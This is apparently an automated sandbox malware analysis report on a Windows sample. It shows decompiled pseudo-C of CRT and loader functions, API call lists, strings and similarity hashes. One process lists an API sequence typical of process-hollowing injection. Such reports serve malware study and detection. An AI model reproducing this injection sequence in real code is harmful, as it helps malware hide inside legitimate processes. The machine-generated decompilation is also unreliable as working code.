						_t85 = L00436FF0(_t111,  *(_t144 - 8), _t142, _t143,  *(_t144 + 0xc),  *((intOrPtr*)(_t144 + 0x14)),  *(_t144 - 8),  *((intOrPtr*)(_t144 + 0x1c)));
						_t147 = _t146 + 0x10;
						 *(_t144 - 0xc) = _t85;
						__eflags =  *(_t144 - 0xc) - 0xffffffff;
						if( *(_t144 - 0xc) != 0xffffffff) {
							_t132 =  *(_t144 - 0xc) + 1;
							 *(_t144 - 0xc) = _t132;
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) == 0) {
								L56:
								__eflags =  *(_t144 + 8);
								if( *(_t144 + 8) != 0) {
									 *( *(_t144 + 8)) =  *(_t144 - 0xc);
								}
								_t86 =  *((intOrPtr*)(_t144 - 4));
								goto L59;
							}
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							if( *(_t144 - 0xc) <=  *(_t144 + 0x10)) {
								L55:
								_t134 =  *(_t144 + 0xc) +  *(_t144 - 0xc);
								__eflags = _t134;
								 *((char*)(_t134 - 1)) = 0;
								goto L56;
							}
							__eflags =  *(_t144 + 0x18) - 0xffffffff;
							if( *(_t144 + 0x18) == 0xffffffff) {
								L54:
								 *(_t144 - 0xc) =  *(_t144 + 0x10);
								 *((intOrPtr*)(_t144 - 4)) = 0x50;
								goto L55;
							}
							 *( *(_t144 + 0xc)) = 0;
							__eflags =  *(_t144 + 0x10) - 0xffffffff;
							if( *(_t144 + 0x10) != 0xffffffff) {
								__eflags =  *(_t144 + 0x10) - 0x7fffffff;
								if( *(_t144 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t144 + 0x10) - 1;
									if( *(_t144 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t121 =  *(_t144 + 0x10) - 1;
											__eflags = _t121;
											 *(_t144 - 0x2c) = _t121;
										} else {
											_t95 =  *0x440208; // 0xffffffff
											 *(_t144 - 0x2c) = _t95;
										}
										_t132 =  *(_t144 - 0x2c);
										__eflags =  *(_t144 + 0xc) + 1;
										E0041B3A0(_t142,  *(_t144 + 0xc) + 1, 0xfe, _t132);
										_t147 = _t147 + 0xc;
									}
								}
							}
							_t119 =  *(_t144 + 0x10);
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							asm("sbb edx, edx");
							 *(_t144 - 0x18) =  ~_t132;
							if( *(_t144 - 0xc) ==  *(_t144 + 0x10)) {
								_push(L"sizeInBytes > retsize");
								_push(0);
								_push(0x157);
								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
								_push(2);
								_t91 = L0041E210();
								_t147 = _t147 + 0x14;
								__eflags = _t91 - 1;
								if(_t91 == 1) {
									asm("int3");
								}
							}
							__eflags =  *(_t144 - 0x18);
							if( *(_t144 - 0x18) != 0) {
								goto L54;
							} else {
								 *((intOrPtr*)(L00422D00(_t119))) = 0x22;
								E00422A90(_t111, _t119, _t142, _t143, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
								_t86 = 0x22;
								goto L59;
							}
						} else {
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) != 0) {
								 *( *(_t144 + 0xc)) = 0;
								__eflags =  *(_t144 + 0x10) - 0xffffffff;
								if( *(_t144 + 0x10) != 0xffffffff) {
									__eflags =  *(_t144 + 0x10) - 0x7fffffff;
									if( *(_t144 + 0x10) != 0x7fffffff) {
										__eflags =  *(_t144 + 0x10) - 1;
										if( *(_t144 + 0x10) > 1) {
											__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
											if(__eflags >= 0) {
												_t140 =  *(_t144 + 0x10) - 1;
												__eflags = _t140;
												 *(_t144 - 0x28) = _t140;
											} else {
												_t123 =  *0x440208; // 0xffffffff
												 *(_t144 - 0x28) = _t123;
											}
											_t115 =  *(_t144 + 0xc) + 1;
											__eflags =  *(_t144 + 0xc) + 1;
											E0041B3A0(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x28));
										}
									}
								}
							}
							_t86 =  *((intOrPtr*)(L00422D00(_t115)));
							goto L59;
						}
					} else {
						 *((intOrPtr*)(L00422D00(0x7fffffff))) = 0x16;
						E00422A90(_t111, 0x7fffffff, _t142, _t143, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
						_t86 = 0x16;
						goto L59;
					}
				} else {
					 *((intOrPtr*)(L00422D00(_t112))) = 0x16;
					E00422A90(_t111, _t112, _t142, _t143, L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x133, 0);
					_t86 = 0x16;
					L59:
					return _t86;
				}
			}

0x004374f5
0x004374f5
0x004374f5
0x004374f5
0x004374f9
0x00437510
0x00437507
0x00437507
0x00437507
0x0043751a
0x00437521
0x00437523
0x00437528
0x0043752a
0x0043752f
0x00437534
0x00437536
0x0043753b
0x00437541
0x00437543
0x00437543
0x00437541
0x00437548
0x0043757d
0x00437581
0x00437583
0x00437586
0x00437589
0x0043758d
0x0043758f
0x00437596
0x00437598
0x0043759c
0x004375a4
0x004375aa
0x004375ba
0x004375ba
0x004375bd
0x004375ac
0x004375ac
0x004375b2
0x004375b2
0x004375cc
0x004375d0
0x004375d5
0x004375d5
0x0043759c
0x00437596
0x0043758d
0x004375d8
0x004375dc
0x004375de
0x004375e1
0x004375e1
0x004375ea
0x004375ed
0x004375f7
0x004375fa
0x004375ef
0x004375f2
0x004375f2
0x00437600
0x00437608
0x0043760b
0x0043760d
0x0043760d
0x00437610
0x00437613
0x00437615
0x0043761a
0x0043761c
0x00437621
0x00437626
0x00437628
0x0043762d
0x00437630
0x00437633
0x00437635
0x00437635
0x00437633
0x00437636
0x0043763a
0x0043767b
0x0043767f
0x00437684
0x00437687
0x0043768a
0x0043768e
0x004376fa
0x004376fd
0x00437700
0x00437704
0x004377f1
0x004377f1
0x004377f5
0x004377fd
0x004377fd
0x004377ff
0x00000000
0x004377ff
0x0043770d
0x00437710
0x004377e7
0x004377ea
0x004377ea
0x004377ed
0x00000000
0x004377ed
0x00437716
0x0043771a
0x004377da
0x004377dd
0x004377e0
0x00000000
0x004377e0
0x00437723
0x00437726
0x0043772a
0x0043772c
0x00437733
0x00437735
0x00437739
0x00437741
0x00437747
0x00437756
0x00437756
0x00437759
0x00437749
0x00437749
0x0043774e
0x0043774e
0x0043775c
0x00437768
0x0043776c
0x00437771
0x00437771
0x00437739
0x00437733
0x00437774
0x00437777
0x0043777a
0x0043777e
0x00437781
0x00437783
0x00437788
0x0043778a
0x0043778f
0x00437794
0x00437796
0x0043779b
0x0043779e
0x004377a1
0x004377a3
0x004377a3
0x004377a1
0x004377a4
0x004377a8
0x00000000
0x004377aa
0x004377af
0x004377cb
0x004377d3
0x00000000
0x004377d3
0x00437690
0x00437690
0x00437694
0x00437699
0x0043769c
0x004376a0
0x004376a2
0x004376a9
0x004376ab
0x004376af
0x004376b7
0x004376bd
0x004376cd
0x004376cd
0x004376d0
0x004376bf
0x004376bf
0x004376c5
0x004376c5
0x004376df
0x004376df
0x004376e3
0x004376e8
0x004376af
0x004376a9
0x004376a0
0x004376f0
0x00000000
0x004376f0
0x0043763c
0x00437641
0x0043765d
0x00437665
0x00000000
0x00437665
0x0043754a
0x0043754f
0x0043756b
0x00437573
0x00437802
0x00437805
0x00437805

APIs

__invalid_parameter.LIBCMTD ref: 0043756B

Strings

(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 00437523, 00437566
_wcstombs_s_l, xrefs: 00437561
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043752F, 0043755C

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3730194576-625432840
Opcode ID: 8fae172e9e588b43ce59ab6fe453a295eb9c36e45073b35abf65a17825a7d1a6
Instruction ID: bfbc46fa681cc87e8d3f56afd03a62afed4743408f438343e69dd4ee7b11e624
Opcode Fuzzy Hash: 8fae172e9e588b43ce59ab6fe453a295eb9c36e45073b35abf65a17825a7d1a6
Instruction Fuzzy Hash: DB0162B0E84319BAEF345E41DC067AF7260AB1470EF10286BE8A4396C1D7FD4640CA5E

Uniqueness

Uniqueness Score: -1.00%

Function 0041A821, Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0041A8D5

Part of subcall function 00421340: __encode_pointer.LIBCMTD ref: 00421421

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: c44d046865231dff2cdce69809e59661ac17edd7748d517aa8ef826d77e258c8
Instruction ID: 8dda57d7c51ad0f601ba655a363ac0fd8748eed11558474924fb891d7681200f
Opcode Fuzzy Hash: c44d046865231dff2cdce69809e59661ac17edd7748d517aa8ef826d77e258c8
Instruction Fuzzy Hash: 79413A31C09744D6DB11BB39DA0516EB7B0FF91344F50C76BF88861222EB388969C34B

Uniqueness

Uniqueness Score: -1.00%

Function 004247FA, Relevance: 6.0, APIs: 4, Instructions: 32
threadCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E004247FA(intOrPtr __eax) {
				void* _t10;
				intOrPtr _t11;
				intOrPtr _t16;
				void* _t21;

				 *((intOrPtr*)(_t21 - 8)) = __eax;
				if( *((intOrPtr*)(_t21 - 8)) == 0) {
					L2:
					E00424860();
					_t10 = 0;
				} else {
					_push( *((intOrPtr*)(_t21 - 8)));
					_t11 =  *0x440cb0; // 0x5
					_push(_t11);
					_t16 =  *0x54adfc; // 0x47df2db9
					if( *((intOrPtr*)(E00424550(_t16)))() != 0) {
						E004248C0(_t16,  *((intOrPtr*)(_t21 - 8)), 0);
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)))) = GetCurrentThreadId();
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)) + 4)) = 0xffffffff;
						_t10 = 1;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x004247fd
0x00424804
0x00424825
0x00424825
0x0042482a
0x00424806
0x00424809
0x0042480a
0x0042480f
0x00424810
0x00424823
0x00424834
0x00424845
0x0042484a
0x00424851
0x00000000
0x00000000
0x00000000
0x00424823
0x00424859

APIs

__encode_pointer.LIBCMTD ref: 00424817

Part of subcall function 00424550: TlsGetValue.KERNEL32(00000004,004247C6,47DC2DB9), ref: 00424565
Part of subcall function 00424550: TlsGetValue.KERNEL32(00000004,00000005), ref: 00424586
Part of subcall function 00424550: __crt_wait_module_handle.LIBCMTD ref: 0042459C
Part of subcall function 00424550: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 004245B6

__mtterm.LIBCMTD ref: 00424825
__initptd.LIBCMTD ref: 00424834
GetCurrentThreadId.KERNEL32 ref: 0042483C

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: Value$AddressCurrentProcThread__crt_wait_module_handle__encode_pointer__initptd__mtterm
String ID:
API String ID: 1673568325-0
Opcode ID: a5b40eb3c482c1174bdd079591c39a0cb72a7e88cf60f3f0efad5ee52833ba59
Instruction ID: 1f18b1f7f64225650515ea914c31d592857bd703cbf4cdb4c13bf8ac44a13d70
Opcode Fuzzy Hash: a5b40eb3c482c1174bdd079591c39a0cb72a7e88cf60f3f0efad5ee52833ba59
Instruction Fuzzy Hash: DDF09679E10155ABC700EFA8F84165A7770EF84308F1042A9E50597351EA359550CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0041C45F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 0041C46F

Strings

_CrtCheckMemory(), xrefs: 0041C478
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C484

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: CheckMemory
String ID: _CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2067751306-2660621803
Opcode ID: 96337c6d0dba594ec11e93e9530b8ebcbdde8fcbdb6c408c328e87aefc14f32d
Instruction ID: 8a70518c646f63b63927b6b23ea48a1bc9b3d88862500b14dfb20220fcf15b17
Opcode Fuzzy Hash: 96337c6d0dba594ec11e93e9530b8ebcbdde8fcbdb6c408c328e87aefc14f32d
Instruction Fuzzy Hash: 6DF0E57C7C820097DA90CB11EED67F63254A32130DF208017FA09582C5DABD89C56E8F

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ECD2MpEBSf.exe PID: 7132 Parent PID: 7104 ECD2MpEBSf.exeCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

0x0040196d
0x0040196d
0x0040196d
0x00401970
0x00401971
0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000001.00000002.721553472.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000001.00000002.721553472.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000001.00000002.721553472.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: jgdhbua PID: 6700 Parent PID: 968 jgdhbuaCOMMON

Execution Graph

Execution Coverage:	20.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	26
Total number of Limit Nodes:	7

Executed Functions

Function 006F0110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 006F0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 006F016C
CreateProcessA.KERNELBASE(?,00000000), ref: 006F0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 006F0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 006F0283
GetThreadContext.KERNELBASE(00000000,?), ref: 006F029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 006F02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 006F02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 006F0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 006F032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 006F0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 006F03BF
SetThreadContext.KERNELBASE(00000000,?), ref: 006F03E1
ResumeThread.KERNELBASE(00000000), ref: 006F03ED
ExitProcess.KERNEL32(00000000), ref: 006F0412

Memory Dump Source

Source File: 00000009.00000002.758292022.00000000006F0000.00000040.00000001.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f0000_jgdhbua.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 65f7ef13f86786643ac48207e03de3a5a84c9e898961518fdfc48ec3ec89d9af
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 1DB1C874A00209AFDB44CF98C895FAEBBB5FF88314F248158E608AB395D771AD41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 006F0420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 006F0533

Strings

saodkfnosa9uin, xrefs: 006F04DA
mfoaskdfnoa, xrefs: 006F0520, 006F0523
0, xrefs: 006F0492
d, xrefs: 006F0584

Memory Dump Source

Source File: 00000009.00000002.758292022.00000000006F0000.00000040.00000001.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f0000_jgdhbua.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 9be9436176982ff7718c4935cdc583e90d3b492c691de57afbcc63c33e37f457
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: F0512970D0838CDAEB11CBD8C949BEDBFB66F11708F244058D5446F286C3FA5659CB66

Uniqueness

Uniqueness Score: -1.00%

Function 006F05B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 006F05EC

Strings

o, xrefs: 006F0600
apfHQ, xrefs: 006F05E2, 006F05E5

Memory Dump Source

Source File: 00000009.00000002.758292022.00000000006F0000.00000040.00000001.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6f0000_jgdhbua.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 16ee7420631c8e0dcf8b71062828ce604a9b010627b909c0b75d64ef566f0c91
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 12011E70C0424CEAEB10DB98C5183EEBFB6AF41308F148099D5096B342D7B69B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: jgdhbua PID: 6784 Parent PID: 6700 jgdhbuaCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 0000000B.00000002.776549326.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_jgdhbua.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
